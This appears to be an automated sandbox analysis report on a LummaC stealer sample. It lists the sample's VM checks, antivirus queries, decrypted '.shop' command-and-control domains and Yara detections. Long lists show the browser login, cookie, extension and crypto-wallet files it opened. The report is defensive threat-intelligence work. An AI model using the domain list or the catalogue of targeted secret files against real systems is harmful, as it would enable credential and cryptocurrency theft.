Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.3.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.3.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.3.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.3.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.3.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\asbpKOngY0.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\asbpKOngY0.exe

Code function: 0_2_00433CC0 LdrInitializeThunk,

0_2_00433CC0

Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_02D17A73 push dword ptr fs:[00000030h]	0_2_02D17A73
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_02FD092B mov eax, dword ptr fs:[00000030h]	0_2_02FD092B
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_02FD0D90 mov eax, dword ptr fs:[00000030h]	0_2_02FD0D90

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: asbpKOngY0.exe	String found in binary or memory: tolerateilusidjukl.shop
Source: asbpKOngY0.exe	String found in binary or memory: productivelookewr.shop
Source: asbpKOngY0.exe	String found in binary or memory: strollheavengwu.shop
Source: asbpKOngY0.exe	String found in binary or memory: demonstationfukewko.shop
Source: asbpKOngY0.exe	String found in binary or memory: liabilitynighstjsko.shop
Source: asbpKOngY0.exe	String found in binary or memory: alcojoldwograpciw.shop
Source: asbpKOngY0.exe	String found in binary or memory: incredibleextedwj.shop
Source: asbpKOngY0.exe	String found in binary or memory: shortsvelventysjo.shop
Source: asbpKOngY0.exe	String found in binary or memory: shatterbreathepsw.shop

Source: C:\Users\user\Desktop\asbpKOngY0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\asbpKOngY0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.3.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: asbpKOngY0.exe, 00000000.00000003.1733514139.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1756890685.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1756771426.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889983989.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\asbpKOngY0.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: asbpKOngY0.exe PID: 4040, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: asbpKOngY0.exe, 00000000.00000002.1889739851.0000000002DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: asbpKOngY0.exe, 00000000.00000002.1889739851.0000000002D43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Jaxx
Source: asbpKOngY0.exe, 00000000.00000002.1889739851.0000000002DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: asbpKOngY0.exe, 00000000.00000002.1889739851.0000000002DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: asbpKOngY0.exe, 00000000.00000002.1889739851.0000000002D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: asbpKOngY0.exe, 00000000.00000002.1888239316.0000000000198000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: 7Aapp-store.jsonAWallets/BinanceC:\Users\user\AppData\Roaming\BinanceA%appdata%\Binance
Source: asbpKOngY0.exe, 00000000.00000002.1889739851.0000000002DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: asbpKOngY0.exe, 00000000.00000003.1756771426.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: asbpKOngY0.exe, 00000000.00000003.1756771426.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: asbpKOngY0.exe, 00000000.00000002.1888239316.0000000000198000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: 6AC:\Users\user\AppData\Roaming\Ledger Live+

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
